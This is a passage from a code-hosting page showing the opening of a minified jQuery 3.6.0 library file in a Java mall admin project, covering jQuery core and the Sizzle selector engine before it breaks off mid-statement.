java-mall-admin/public/im/libs3.6.0.min.js
2024-11-01 16:24:11 +08:00

9110 lines
308 KiB
JavaScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),j=function(e,t){return e===t&&(l=!0),0},D={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&D.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(j),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(B," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split("").sort(j).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var 